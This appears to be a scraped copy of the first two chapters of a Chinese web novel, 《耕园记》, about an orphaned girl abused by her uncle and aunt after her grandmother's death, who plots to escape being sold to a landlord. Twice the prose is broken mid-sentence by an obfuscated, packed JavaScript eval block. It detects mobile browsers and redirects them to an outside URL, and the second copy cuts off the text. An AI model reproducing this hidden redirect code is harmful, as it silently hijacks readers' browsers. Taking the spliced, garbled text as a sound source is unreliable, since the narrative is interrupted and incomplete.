《耕园记》 1. 第 1 章 天光微亮,向园睁开眼睛。 她轻轻按揉红肿的眼眶,待沉重的涩意消减些许,才随手拿过炕头的素色麻衣,胡乱套在身上。 今日外婆三七,大舅大妗子会过来吗? 还有表哥,也不知道他回来没有。 向园迷瞪片刻,外婆故去第二日的记忆浮现在脑海…… 那天,她伤心过度哭晕过去,醒来就看见大妗子一脸狠相,正指着她的鼻子痛骂。 惊惧之下,她什么都听不清楚,只觉得胳膊、大腿和腰侧疼得要命。 晚间自己看的时候,才发现上头满是青紫掐痕…… 是谁的杰作,不用问也知道。 不知什么缘故,大妗子看她极不顺眼。 五年前,爹娘过世,外婆接自己一同生活时,她就极力反对。 五年过去,外婆亡故,自己越发成了她的眼中钉、肉中刺。 万一今天她过来,不知又要找什么由头为难自己。 想到这儿,向园半刻也不敢耽搁,一骨碌翻身下床,推开门往外走。 不管他们来不来,早些起定然不会有错。 刚入三月,一夜暖风吹尽,绿暗红稀。 冬日里才修剪过枝丫的老桃树,嶙峋虬曲,横斜竹外,几根粗干上还缠着麻绳。 去冬极寒,人难熬还能藏进屋里躲避,生火取暖。树难熬却只能窝在土里受着。 那时外婆还有些精气神儿,说得出囫囵话,指导向园把该截的枝丫截了,该缠的地方缠上。 到底树比人野,也比人坚韧,总算熬过来了,一开春就爆出花蕾。 如今烂漫娇红落入泥里,很快被尘土掩埋。 向园习惯性先往鸡鸭鹅圈那里去。 不是喂食儿,是看看食盆里还剩下多少草料,就知道它们夜里有没有吃饱。一会儿拌秕谷糠麸的时候,心里也有数。 刚走几步,没听到往常惯听的鸡鸣鸭叫鹅欢腾。她这才想起,如今家里可没有鸡鸭鹅了。 向园一阵丧气,转身往后头竹林走去。 竹林里有一条小溪,溪水是从山上淌下来的控山水。 这些时日缺盆少桶,为图方便,向园都在此处洗漱。 控山水干净清冽,也冰凉。 向园掬一捧泼在脸上,凉意刺得她打了个激灵,脑子里的混沌瞬间消散,视野都清晰明亮许多。 溪边有柳树,柳枝纤嫩,随便折一段,把一头儿咬散成刷子状,就能清洁牙齿。 附近的农家人都这样用。 向园也觉得好,尤其没有青盐,她就更加注意些,不止取一段刷牙,还要取些嫩末梢枝,洗干净了,放在嘴里嚼。 等微苦的涩感蔓延到口腔的每一个角落,向园掬水漱口。 或许是习惯了这股凉意,这次没有打颤。 洗漱罢,向园端起石墩,放在屋檐角落避风的地方,坐在那儿就着青蓝天光绣荷包。 她一边绣,一边暗自庆幸,得亏这石墩够沉,没能入了大舅大妗子的眼,她才能有个坐的地方。 这些年,她和外婆相依为命。 外婆一朝身去,大舅大妗子马上就把这院子搬空,连一粒米、一根柴都不曾留下。 这几日,她只能靠偷偷藏在石碓里的一筐红薯和山上采的野菜充饥,将来的日子还不知道在哪呢。 若不趁着这个闲工夫做些针线,只怕过了今天就没明天了。 一入神,时间就过得快。 向园再抬头的时候,太阳已经升至半空,手里的荷包也收尾了,只差把线头剪断。 但家里没有剪子。 拿去卖的东西,线头是不能用牙咬的。 她环顾一圈,没找到什么可用的东西,直接将连着线的针往荷包边上一扎,把荷包藏在房后的一截粗竹竿里。 做完这些,向园走到门口,张望起来。 . 巳时初,让向园忐忑不安的梅大舅和大妗子邱氏,终于出现在安田里的土路上。 夫妻两个精明市侩,颇有几分生意头脑,早几十年就拿着老爹老娘攒的本钱去县城开了间杂货铺,这些年下来,也积下丰厚的家底。外头不管谁说起,都要称呼一声梅朝奉、朝奉娘子。 如今他们一家人都在城里住,得等寅末卯初城门开了才能出来。 店里大多数时候只有他们两口子照管生意,过来一日,就要耽搁一日的生意。 这人死不能复生,谁有功夫见天为个黄土埋身的糟老婆子往乡下跑啊? 邱大妗子捏着帕子,一脸不情愿地跟在梅大舅身后。 “快到村里了,你那脾气可收敛着点!”前头隐约能看见人影,梅大舅转身提醒。 “哼!”邱大妗子刚避开一坨狗屎,冲天臭气还没散,她不敢张口,拧着鼻子简短应了声。 眼见前头有人过来,她放下帕子,挤了个笑脸出来。 “梅员外,回来得这样早啊!” “梅员外果真大孝子,这天不亮就得从城里往外赶吧!” “大娘子一路辛苦,抽空来家里喝碗茶汤啊!” “一段时日不见,大娘子越发精神了。” “……” 瞧见他俩,背着锄头的乡人隔老远就热情招呼,有不少妇人上前跟邱氏套近乎,其中一个为表亲热,特地上前来拉她袖子。 那手粗糙枯瘦,指甲缝里塞满黑泥。邱氏看着,不由撇撇嘴,脸上露出几分嫌弃来。 好歹儿子也中了童生,怎么行事还这般不知分寸? 她不着痕迹地避开,一溜儿昂着头走,一溜儿面上带笑跟众人寒暄。 此时此刻,也只有她们艳羡的目光、吹捧的话语能叫她舒坦几分了。 梅大舅亦被奉承得飘飘然。 他身形清癯,容长脸,高颧骨,下巴上留着一撮山羊胡,远远看着,跟个读书人似的。不知情的人见了,都当他是举人秀才。 实际上,没能成为举人秀才是他此生最大的遗憾。眼见这遗憾弥补不了了,梅大舅重新立志,只希望有生之年,能赚下大笔财富,捞个员外当当。 可员外也不是容易当的,以他如今这份家底,别人称一声朝奉都是恭维,要想当员外,可还有很长的路要走。 如今这些没见识的乡人们见着他都恭恭敬敬的,左一个“员外”,右一个“老爷”地巴结奉承,可算叫他过足了瘾。 梅大舅面上不显,心里却十分受用。 毕竟在城里,员外、朝奉的可一点都不稀罕。他们开门做生意,见了哪个不得夹着尾巴做人?可少有这样风光体面的时刻。 两口子心里正美,偏有人不合时宜。 “这是大用和黑丫儿?黑丫儿看着可比原来齐整多啦!小狗蛋儿呢,怎的不见他?” 说话的是个老实巴交的汉子,从辈分上算,还是邱氏的族叔。他笑盈盈的,自认这话说得亲切,合该得个好脸才是,不想却挨了一记冷眼。 邱氏不咸不淡地道:“这不是兰根叔吗?怎么,剩下两亩薄田也都当出去了?你是闲得发慌,怎么有工夫在这儿说闲话?” 邱兰根叫她说得脸一阵臊,耷眉丧眼走了。 “呸!”邱大妗子一口唾沫吐得老远,“什么穷酸鬼,瞎眼货!有眼不识泰山高!老娘的名儿也是你喊得的?还狗蛋儿呢,我儿就是叫狗屎,也比你家的土坷垃强千百倍!” 这一出勾出梅大舅的烦心事,他皱皱眉,“混说什么!丛殊还没回来?” 丛殊就是狗蛋儿,梅大舅和邱大妗子的儿子。 夫妻俩深为名字所苦,绝不叫儿子受这个累,打他一落地,两人就寻府学里的先生起了这个名儿。为此送出去好大人情,他们心痛肉痛的,待儿子也不同别个。 那可是血肉生养,金银堆攒出来的命根儿,岂能容人说半句不好? “他那里有大事要忙,哪有工夫回来?”邱大妗子撇撇嘴,不敢告诉当家的,她根本没给儿子去信。 往临县送信可要十个大钱呢,有这闲钱,买半斤肉吃不香吗?而且儿子出门前就交代过,这次是有大生意要做,她可不会拖儿子后腿。 两人一路晃荡着,到梅家小院,已是巳中时分。 向园早听见动静,乖乖立在檐下,等人进来。 倒不是不愿意迎接,只是上次她这样做的时候,被大妗子点着额头狠狠骂了一顿。说这里又不是她家,没道理她回自己家,还要被个外人迎接的。 这回向园学能了,称呼两人后,就低眉顺眼立在原地,不多说一句话。 她这样乖觉,邱氏不好用同样的借口,她翻着眼皮子来回瞅瞅,又拍着大腿训斥起来。 “懒骨头!地脏了不知道扫扫,是等着我和你舅舅动手?” “丧门星!还不到季,这桃花都叫你克落了……” “白眼狼!” “好吃嘴!” “贼杀才!” “……” 一个个词儿从邱氏嘴里迸出,带上诅咒般的语气,如带毛刺的木钉子般,直直楔进向园心里。 向园手紧紧揪在一起,低头垂泪,一句也不敢驳。 她心里也不想哭的,只是不知怎么回事,她打小就听不得人大小声。但凡谁大声吵嚷一句,哪怕不是冲着她,她也心口发紧,眼泪不听使唤就往外漫,止都止不住。严重的时候,喘气都不顺畅,打嗝更是停不下来,说话还要结巴。 如今大妗子这般谩骂,她也只是掉眼泪,已经是很大的进步了。 邱氏骂了一会儿,不见她搭腔,自己也觉得没意思起来,呼喝道:“还不端茶拿饭来!好歹我们梅家将你从小养活这么大,你怎的不知恩,一点眼色也没有!” “我、嗝、我这就去打水!”向园巴不得赶紧逃离此处,取了两节粗竹筒,去村中心大水井边。 大水井边有一株老槐树,这时节,槐花尚未绽蕾,撑开的绿荫却如伞如盖,村里人最喜欢围在这里说闲话。 正值农忙,这里虽不如往常热闹,也有七八个人在。 向园慢悠悠走来,嘴里不停,一路上“阿婆”“大叔”“婶子”“阿嫂”,轻声细语招呼过去。 没人打水,倒也不用排队,向园直接走到井边,转着轱辘往上汲水。边上放的就有葫芦瓢,她舀满两竹筒,就要折返。 一转头,正对上众人惊奇的目光。 “园丫头,你这是干啥呢?打水怎么不拎个桶来?” “对呀,这一星半点的,连做顿饭都不够,你来回跑着多麻烦!” “是不是拎不动?不碍事,你去拿桶来,打了水我给你送回去!” 向园勉强挤出个笑来,“家里没有桶……” 众人不由一愣,显然都听出了她的未尽之语。 有几个知情的,互相挤眉弄眼。 向园只做不知,跟众人道别后,端着竹筒往家去,留他们在背后交头接耳。 “园丫头好生可怜,韩婶子才去了几日,大用他婆娘就这样磋磨她!” 韩婶子就是向园的外婆,本姓韩,因嫁入梅家,村里人常称呼她为梅大娘,只有平日走得近的几人才喊她本姓。 “可不止磋磨呢,大用他娘刚发丧,那婆娘就使人赶了几个大车来,将屋里院里搬了个空,连根鸡毛都没落下,说是要捡回去扎个鸡毛掸子。我看要不是大家都看着,她是恨不得把地皮都刮走!” “就这样急吼吼的,连头七都等不得?”边上有个妇人惊叹。 这是个不爱出门的,难得出来一次,就发现这样的新闻,便是不爱凑热闹,此时也支起耳朵听得仔细。 农家人,便是在田间地头忙活的时候也想抽空说两句闲话的,更何况是这样的稀罕事儿呢。 几个爱好此道的人难得遇上个不明就里又好奇心重的,一个两个争着为她解惑。 “那两口子,生就这样一副刻薄脾性,十里八乡谁不知道,就是这几年,他发际了,说的人才少了。” “哼,韩婶子病着的时候,从不见两人过来看一眼、问一声。这才刚去,俩人就跳蹿出来,又是清家私,又是搜体己,眼睛盯得紧,生怕园丫头昧下一针一线。知道是他的家产,但园丫头孤苦伶仃一个,小小年纪,在他家忙里忙外的,没有功劳也有苦劳,那些东西,她一个小娘子还能搬走抬走不成,至于这样防备?” “这可不是啊,家产是大用的家产不错,但粮食可是人园丫头自个儿带来的。人家爹娘给她留的有田产呢,租子每年照时照晌往这儿送。就连韩婶子,要不是有那些东西贴补,只怕也要挨饥荒!” “可不是嘛!这些年园丫头又是养鸡养鸭又是养鹅的,就没个歇的空,时不时还见她去山上采药……日子好坏,都是婆孙俩自己过出来的,可从没指望过大用两口子。这两口子倒好意思拿捏小孩子。” “头七那日,园丫头还在山上挖野菜呢,那会儿才进二月,草都刚刚冒尖,哪有许多野菜可挖。还是我看不过眼,装了一碗窝窝头给她……” 处于众人议论中心的向园丝毫不知晓大槐树下发生的这一幕,她端着水,毕恭毕敬呈到大舅和大妗子跟前。 梅大舅接过竹筒,皱皱眉没言语。 邱大妗子走了这一路,正热得慌,又累又渴,夺过来就往嘴里倒,不想正被竹筒边的毛刺剐了下嘴唇。 “嘶~”她疼得直叫唤,伸手一抹,挤出一滴血珠子。 “啪!”竹筒甩过来,向园疾退几步,堪堪避过。 “你还躲!你还有脸躲!”邱氏虎眼一瞪,发作起来,伸手就要往向园身上拧。 边拧边骂,“你个丧门星,白眼狼,贼骨头,什么不干不净的东西就敢往我们跟前搁,是想害我们呢!毒死我们对你有什么好处?个懒货,拿个碗的空儿都没?弄什么破烂东西支应我们,见不得我和你舅舅好是吧!” 向园早想着有会这一着,也没狠躲,等她掐了几把后,才脱身往外跑,“没有,大妗子,没有,求求您别打了……” “你还敢跑?”邱氏气得够呛,低头寻摸半天,也没看见半根棍子。她只好徒手撵上去。 到底向园年纪小、体态轻,邱氏追赶不及,她很快跑出门,“呜呜,大妗子,我错了,我再也不敢了!” 邱氏慢了半拍,出门就寻摸一根竹竿,掂着跟上来。 “大妗子,求求你,别打了!” 很快到人群聚集的地方,向园有了庇护,才细细为自己辩解,“不是我不肯烧水,实在是没有锅烧不了。我也不是故意不煮饭,家里一粒米也没有……” 她抬手擦眼泪,那袖子刚被邱氏泼了水,湿淋淋的,这不擦不要紧,一擦越发将泪糊了满脸,看着可怜兮兮的。 “孩子,怎么回事!不是刚打了水回去,你妗子怎么就喊打喊杀的。”一个婶子拉住向园的胳膊。 向园疼得嘶叫一声,那婶子觉出不对,背着人撸起她的袖子看了几眼,顿时就倒吸一口凉气。 嫩白的肌肤上,新旧交加的掐痕异常刺眼,大部分都青肿着,有几处严重的已经乌紫泛黑,上头还有指甲印儿,看着触目惊心。 近处围着的妇人都看见了。 “员外娘子,你多大的人了,怎么还跟个毛孩子较起劲儿来!” 邱氏倚着竹竿直喘气,好容易缓过来,指着自己的嘴唇给人看,“瞧瞧,你们都瞧瞧,可不是我刻薄她,这都是她弄出来的。” 男人们哪好意思瞧她的嘴,女人们倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15901588|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是仔细瞅了几眼,也没看个所以然来,只看见干得掉渣的嘴皮子。一个个不由在心里嘀咕,这春季天干,嘴皮子掉渣实属正常,怎么也怪不到外甥女儿头上吧。 拉住向园的妇人姓张,是个和善人。 她将向园藏在身后,笑着道:“员外娘子,你看看你,这天干你火气也大了不是?上手掐她,她疼你难道就不累?正是孩子小,才要你教呢嘛!” “我教?我可不敢教她!”邱氏指着自己的鼻子尖,嘴都要歪到下巴沟里去,“小小年纪不学好,净学些上不得台面的小把戏,故意让我和她舅舅难堪呢!今儿个要是饶了她,只怕明儿个越发要蹬鼻子上脸了。” “园丫头年岁也差不多了,就是你不耐烦,也就这两年的事,等她寻了婆家,你还怕没清静的时候?” 张婶子也知道自己这话说得虚,可向园无依无靠的,以后还要指望梅家两口过日子、说婆家,为她着想,她也只能顺着邱氏来说。 边上的人有畏惧梅家钱势的,不敢吭声。 也有义愤填膺的,说话间不由就带出几分。 “婶子,你们在城里,园丫头在乡下,无非也就是三七五七、?大祥小祥的时候见一面,你要不待见她,不看也就是了,做什么又掐又打的?” “可不是,你家道丰厚,她也沾不着一星半点,又何必这样,一点活路都不给人留?” “……” 陷入一片指责声中,邱氏哪还不知道,这小贱人、贼娼妇是故意往这儿跑的,自己上了她的当了。 邱氏气得要死,可惜一根舌头再厉害,也怼不过这么些人。她拔高了声音,拿出跟市井邻居对吵的阵仗来,又是嚎又是骂。 周围吵吵嚷嚷的,一阵接一阵,向园脑袋嗡嗡响,心口发紧,好似叫吓怕了,抖着嘴唇,一句话也说不出来,还止不住打嗝。 “园丫头!”张婶子看她不对劲,赶忙给她捋着心口平复。 “大用呢,怎么不见他?婆娘和外甥女不对付,他总不能脸面都不露吧!” “人家可是员外老爷,身架子端得足着呢,哪会跟咱们这些野人掺和!” “员外老爷也得断家务事啊!” “哼,让他断,只怕还没有县衙门里只认钱的主断得清楚!” “……” 梅大舅并非不想跟出来,他不仅想跟出来,还想把邱氏劝回去。好不容易回来一次,怎么能丢人丢到乡亲们跟前? 只是邱氏不听他话,撵着外甥女儿出了门,他刚要跟上,那边就有人找他。 安田里在蓼县南城门外郊,地界儿挺大。东边这段背靠长云山,是自家有田有地的乡民聚居之处,因有一棵大槐树、一口古井,又叫槐树井村。西边半拉傍着云溪,正好形成一道湾流,便叫云溪湾。湾旁有良田数百亩,是城里数一数二的大员外——原老爷家的田庄,因他家财多势大,如今人们不怎么喊云溪湾,都叫原家庄。 来找梅大舅的就是原家庄的管事庄头,姓聂。 原员外可是梅大舅想奉承都奉承不上的人,难道有个跟他身边人套近乎的机会,梅大舅腆着脸巴结聂庄头。 他有心请人坐下,屋里屋外连个干净椅子都没。想奉一杯香茶,地上竹筒还在泥地里倒着…… 八面玲珑的人一时竟无所适从,梅大舅尴尬不已,只得讪讪陪笑。 聂庄头一双利眼,早把院子内外觑了一遍,他之前就对这位梅朝奉有所耳闻,如今一见,就知道传言不假。 尽管心里看不上,因如今有事,也只说些好听话替他遮掩,如此如此,这般这般说了一通。 梅大舅听罢,大喜过望,拍着胸脯连连保证:“您老放心,有我在,这事儿没有不成的。” 聂庄头点头,心里不屑,嘴上却假模假样地提点,“我说梅朝奉,到底是你亲外甥女儿,若真是做成这门亲事,我家老爷还能少得了你的好处?你心里也掂量掂量,可别被家下妇人拿捏住,误了大好前程。” 梅大舅作着揖,连连应是,目送人走出老远,才想起大事不好。 外甥女儿还在外头呢,可不能让自家婆娘把她打出好歹来。 梅大舅紧赶慢赶往这边跑时,向园已经不打嗝了。 她站在张婶子旁边,抽噎着道:“大妗子,你、你、你放心,我这就走,绝不再、再站你家的地,碍你的眼。” “想走?你还想走?”邱氏一蹦三尺高,“想走也行,先把我家的钱交出来!你外婆前头手好脚好的时候,可没少照顾你。你倒好,先学会偷鸡摸狗了,你说,是不是你把她攒的体己藏起来了!” 在心头憋了多年的话一朝说出口,邱氏心里立马痛快起来。 说到底,钱才是她对外甥女儿一直看不顺眼的原因。 当年小姑子年轻貌美,不知怎的,就招了个游方郎中的眼。 做郎中的,哪有穷的。人家心甘情愿出二十两银子的聘礼,偏偏老虔婆心疼闺女,自家出私房钱给小姑子置办妆奁不说,向家下聘的银子,也都给小姑子当嫁妆带走了。 那可是整整二十两啊,要是留下来,他们早把隔壁的门面都赁下了,如今生意不知要红火多少倍。 可那么多银子,偏偏老虔婆都叫小姑子带走了,这叫她怎么甘心。 二十年过去,她就是再不甘心,也摸不到那二十两银子了。可没有那银子,总还有别的。 老婆子年纪大了,却是个会过日子的,跟贱丫头一起过活,每年光是养鸡养鸭就能攒下不少钱,更别说这丧门星有事没事还去山上采药卖钱。 还有向家那三亩田、两亩地,租子虽是儿子在收,地契可都还在死丫头手里捏着呢。 她前头把地窖炕洞都翻了一遍,也没找着在哪。 若是不把田契拿到手,她可不会放她走! 边上的人听见邱氏这话,都惊呆了,就没见过这样厚脸皮的。 向园的泪也止不住往下流,“大、大妗子,家里你、你都搜过了,我、我哪有钱?外婆刚生病,你们就、就把钱都拿走了,我、没钱买药,都、都是我去山上采的。” 张婶子轻哼一声,“这可真是贼喊捉贼了,园丫头要是有钱,用得着去后山上挖野菜吃?连根柴都不给她留,火都不让生,可真有你们的!” “谁不让她生火?这漫山遍野不都是柴火,她自己猪一样,懒得要死,我还能按着她的手捡柴火!”邱氏狡辩。 “咦”声四起。 大家虽没在城里住过,却也知道,县城里住的人户,柴可都是要买的。 梅大用隔一阵就要回来拉一车柴火,这是他们都见过的。 那柴火哪来的?还不是韩氏和向园一根一根捡回来的。 邱氏倒好意思说! 乡人们指指点点,邱氏心中着了一把火。 她以往撒泼,也都是街坊邻里之间。市井人户,大都这样,你瞪我也瞪,你横我也横,谁也不怕谁,谁也别说谁。 可她在乡下,从来都是端着员外夫人的架子,何时这样失态过? 都是向园这个小蹄子逼的,邱氏心中恨生,越发拿眼斜人,“我不管你有钱没钱,你吃我家的住我家的,还不肯听我使唤,就得给钱。没钱,没钱就用地契来换!” “地、地契?”向园抹抹眼泪,抽噎着道:“地契都给表哥收着了。” 邱氏耷拉下眼皮,有几分意外,倒也没怀疑这话。 死丫头虽跟他们不对付,但是跟丛殊算要好的,老婆子对孙子也疼,还真有可能让儿子收着。 “既如此,你走吧,别再进我家的门!” 邱氏话音刚落,远处一人奔来,“你个刁妇,给我住口!” 梅大用照着她的脸,一巴掌扇下去。 2. 第 2 章 “住口!” 梅大用一巴掌下去,邱氏的脸立时红肿起来,她捂着脸,不敢置信地看过去。 周围的人也吃了一惊,梅大用还有这样痛快的时候? 梅大用拱着手团团行礼,“家下妇人不懂事儿,闹得大家跟着看笑话,恕罪恕罪!” 到底在县城混这么多年,场面话还是能说几句的。 他走到向园跟前,“外甥女儿受惊了吧!这事儿怪舅舅,起身的时候,崴了脚,晚了一步,就叫你受了委屈。你放心,有我看着,你舅母再不敢的。也别说走不走的,你只有我这一个长辈,能走到哪里去,就是你有这心志,做舅舅的还放心不下呢!” 语气虽温和,却也显露出斩钉截铁的果决。 众人听着,心下各有思量。 向园双眼含泪,不可置信地看过去,眼前这人真是自己的舅舅? 她抖着嘴唇又哭出声来。 梅大用也双目晶莹,似有泪花涌出。 邱氏终于反应过来,像母狮子一般扑上去,“好你个梅大用,竟然敢打老娘,老娘跟你拼了!” 梅大用一眼瞪过去,“再搬弄是非,我休了你!” 看清他的神色,向园心中咯噔一下。大舅要真对大妗子逞凶,做什么还要给她使眼色。 不少人为向园高兴。 “园丫头,到底你是有福的,快跟你舅舅回去吧。” “手脚勤快点啊,可别再招她的眼!” “大用啊,这妻好一半福,你这媳妇儿确实得多管教管教!外甥女儿再怎么着,身上留着一半你们梅家的血,你就看这个也得多照应几分呢!” 梅大用皱皱眉,不太听得惯这话。 聂庄头是庄头,手底下掌着千亩良田,是原府数得着的大管事,肯这样提点两句那是人家的好意。你个泥腿子,田里谋食儿的货,地都种不清楚呢,也好在我跟前拿大? 他心下虽不快,面上倒是一团和气,一副沉痛受教的模样,“老哥说的是,前头是我疏忽,以后再不会了。”说着,又狠狠瞪邱氏一眼。 向园心下不安,她扯了扯张婶子的手,让她不要担心,走到梅大舅跟前,双膝一弯就要跪下。 还未挨着地,就被梅大舅扶住,“外甥女儿这是做什么?以前是舅舅糊涂,叫这妇人蒙了眼,以后再不会了。舅舅定然照顾好你,绝不让你再受委屈。” 不等向园说话,他又叹息着补了一句,“好孩子,竟这般瘦弱! “你年岁不小了,不好一个人在村里住着,不如安心跟舅舅进城去,一来给你请个大夫调理身子,二来城里热闹,吃什么用什么都方便。 “你在那儿住着,也好玩耍散心,等过些日子,你身子养好了,舅舅再给你寻个好人家,定保你后半生衣食无忧,让你爹娘外婆也跟着高兴高兴,好不好?” 向园心中一紧,眼泪不由自主落下来,“多谢舅舅,可我,我想在乡下为外祖母守孝。” 她眼睫颤了颤,抬起头来,一双秀目看向梅大用,里头满是凄风苦雨,“只当是替舅舅和我娘尽孝。” 张婶子早觉得梅大用没他说的那样妥贴,此时也帮着说话,“梅员外,就成全了这孩子一片孝心吧!” 不少人跟着附和,前头卖弄的汉子也道:“这孩子,有情有义啊!大用,这样也好,咱们大老爷们儿,总有正事儿忙,哪有工夫时时在家盯着。我看倒不如让园丫头在乡下待着,乡亲邻里都熟悉,也能照应着。” 又是这个多管闲事的! 梅大用心中不耐,也知道不能逼紧了,他露出个和蔼的笑,“好孩子,你是个好的。前头舅舅忙,不清楚你妗子把东西都拉走了,我今儿个仔细一看才晓得,也是太惊讶了,没能及时跟出来,叫你受了委屈。你别担心,舅舅回去就收拾些得用的东西,安排人给你送来。” 向园不置可否,只摇头道:“时候不早了,咱们先往山上去吧。” 三人自去山上祭拜不提,待回到小院,已是晌午时分。 邱氏早就忍不下了,一进门又想撒气。 梅大用使劲拽她一把,示意她安生点。 “外甥女儿,走这一路,你也累了,快进屋歇着。我和你妗子这就要回去了,还得着紧收拾些东西给你送来,不耽误你用。” 他从袖子里掏出几枚大钱递给向园,“若是人下半晌赶不及过来,你也别委屈自己,去买些饼子吃啊。” 邱氏眼珠子都要瞪出来。但当家的这不同于往日的做派,也让她起了几分心思,到底按捺下,没有发作。 向园不肯接,摇摇头道:“不必了,我吃野菜野果也能充饥的。我送舅舅出门!” 梅大用看出她是个倔的,只是前头心肠冷了,要是不暖回来,便是嫁出去,也未必肯向着自家说话,便强势地把钱放下,甚至还多掏了几枚,又关心体贴一番,才任由她送出门。 向园张望着人走远了,脚下一转,一溜烟儿跑去隔壁。 “林阿婆,林阿婆,阿文在家吗?”她隔着栅栏门朝里喊。 “是园丫头啊!”邻居阿婆出来开门,“你个傻闺女,你大舅让你去你就跟着去啊,合该吃他的喝他的!你前头照管这么多,便是吃香喝辣也不亏他什么!” 不到半晌工夫,大槐树那发生的事儿,村子里就传遍了,就连原家庄那边也有所耳闻。 聂庄头听底下人绘声绘色讲了一遍,满意地点点头,“好,好,再有这事及时来讲!去灶上领碗鸡汤喝。” 林阿婆也是刚从那边回来,恰巧听见庄子上下人议论,才有这番话。 向园笑笑,“阿文在家吗?我想请他帮我捡一捆柴火!”她捏了两个铜板递过去。 “在的,在的!”林阿婆捧着铜板,乐得眉开眼笑,也不说教了,扬声喊阿文出来,“阿文!阿文!掉茅坑里了?快出来,帮你园园姐捡柴火去!” 西南角小茅房里钻出来个八.九岁的孩童,他胡乱在水盆里涮了两下手跑过来,“园姐姐,你等着用吗?我这就去!” 向园笑道:“不急,你先跟我来!” 孩子是摔打惯的,已经收了两个钱,向园就是有要求,林阿婆也不觉得奇怪,自己进屋去了,任由孙子叫人使唤。 向园拉着阿文到自家门口,环视一周,没看见人,她才低声道:“阿文,你帮我一个忙。” “园姐姐,什么忙?不捡柴火了?”阿文好奇。 “你知道我大舅吧,你……”向园凑到他耳边,仔细交代一通。 末了,她掏出一个铜板,放到阿文手心,“这个铜板,给你买糖吃!” “好!”阿文脆生生应下,拍着胸脯道:“园姐姐,你放心就是,我这就去,保准不让他们发现!” “哎,悄悄的啊,若是有人问,你就说帮姐姐去买饼子。”向园思忖片刻,又数了五个铜板,“回来的时候,再帮姐姐买三个饼。” 她的红薯快吃完了,若是真有不测,她得存些干粮。 “好嘞!”阿文蹦蹦跳跳,钻进路旁的林中小道里,很快瞧见梅大舅和邱大妗子的身影。 “现在总该说了吧!到底怎么回事儿?”邱氏有气无力地问。 过了这么长时间,她脸早不疼了,心里却不舒坦。 一同过这二三十年,当家的何时动过她一根手指头,今日确实叫她伤心了。 “喜事!大喜事!”梅大舅喜气盈盈,“园丫头是个有福气的,咱以后不说多善待她,可不要苛责了。我跟你说,那原家庄的大管事刚来找我,说……” . “园姐姐,园姐姐,不好啦,那贼夫妇要拿你去原家庄换银子呢!”阿文听清梅大用的话,慌得糖也忘了买,饼也忘了买,赶回来给向园报信。 “原家庄?是那个老东西!”向园惊叫。 “园姐姐,你知道那人?”阿文奇道。 “哼,怎么不知道!” 二月中旬,外婆出殡那日,向园提着篮子一路跟着撒纸钱。 迎面过来一队车马,正是原家庄的主家过来收粮租,两边恰巧撞上。 原家家大业大。往前十年,原老员外在世时还好,愿意体恤民情。哪家租子交的不及时,他也不催促。哪家钱粮不趁手,他也肯帮衬。 老员外一去,到如今这位员外当家,就开始盘剥起来。每年正月二月,春麦尚未成熟,就要先给他缴三升一斗的,只因这时米贵面贵,宁肯种地的佃户们饿得贴肚皮,铺子里的粮食也得堆山填海,足够他卖。 按理说,逝者为大,遇上白事,只有行人车马让道的,没有送殡队伍礼让行人的。 梅大舅却一眼认出原家车马,上前去打过招呼,就张罗着让人腾道,请对面先过。 对面掀开帘子看了好一会,过去了。 向园那时就觉得有人盯着自己,她不自在,往后缩了又缩,事后没听到有什么风声传来,她还觉得是自己想多了。 前两日,她在长云山脚下挖野菜,又觉得背后有人盯着,回头看时,就见一个胖老头笑眯眯往这边瞧,跟她对上,还露出一排大门牙。 向园寒毛直竖,顾不得野菜还没装好,撒腿就跑,之后再也不敢一个人走远。 怎么办呢?向园发愁。只听阿文转述,就知道大舅财迷心窍,他那里,恐怕没有转圜的余地。 “园姐姐,园姐姐,我去找狗蛋儿哥回来!他肯定能管着他爹娘!”阿文说着,就要往外冲。 向园揪住他的后脖领,“你知道表哥在哪,就去找他!他这回走得可远了,都不在咱们县呢。” 不然外婆去世,他再混,也不会不回来看一眼拜一拜的。向园想找人捎个信儿,都没有门路。 “那怎么办?要不我去找蓝仁哥,让他想办法!蓝仁哥肯定有办法的。” “他能有什么办法?就算有办法,他还能为个不相干的人跟员外对着干?”向园觉得蓝仁没有这么热心肠。 阿文撇嘴,“你怎么就是不相干的人啦?说不定他脑子能好使一回呢。” 向园没听清,她思来想去,也没琢磨出什么好主意。 但让她坐以待毙也是不可能的,她叮嘱阿文,“你别担心了,回去吃饭吧,下晌有空闲帮我买几个饼回来。千万记得,这事儿不要跟任何人说,就是你阿奶阿娘,也别吭一声,否则我只怕活不成了。” 阿文担忧地望过来,向园摆摆手,看人出了门,自进屋去。 横竖不是狼窝就是虎穴,不如拼一把,往那白茫茫看不见路的地方去,说不得还能挣个自由。 向园定下主意,就开始行动,在屋里院里翻找起来。 大舅大妗子会搜刮是真的,她会藏也是真的。 地窖、炕洞里藏不住东西,但地窖和炕洞的砖缝后头有空洞,里头能藏不少东西。向园从一处掏出一个破破烂烂的包袱皮,从另一处掏出一个沉实的荷包,荷包装得满满的,都是散碎铜板。 屋里搜刮干净,向园跑去屋外,借着衣袖的遮挡,她解开桃树上的麻绳,最低的那一根粗树干从中间断裂,截面处赫然是一个深洞。 向园颠头倒尾,从里头扣出几块碎银,约摸有个五六两的样子。 她清楚大舅大妗子的脾性,也想过有一天过不下去了,就回自己家去。 破包袱皮是老早就预备好的,向园打算装干粮用。 钱是她攒下的,本来还有更多,只是外婆病重的时候,郎中开的方子,有两味药特别珍贵,花了不少钱。 这里头大头是以往她山上采药卖得的钱,外婆都不要, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 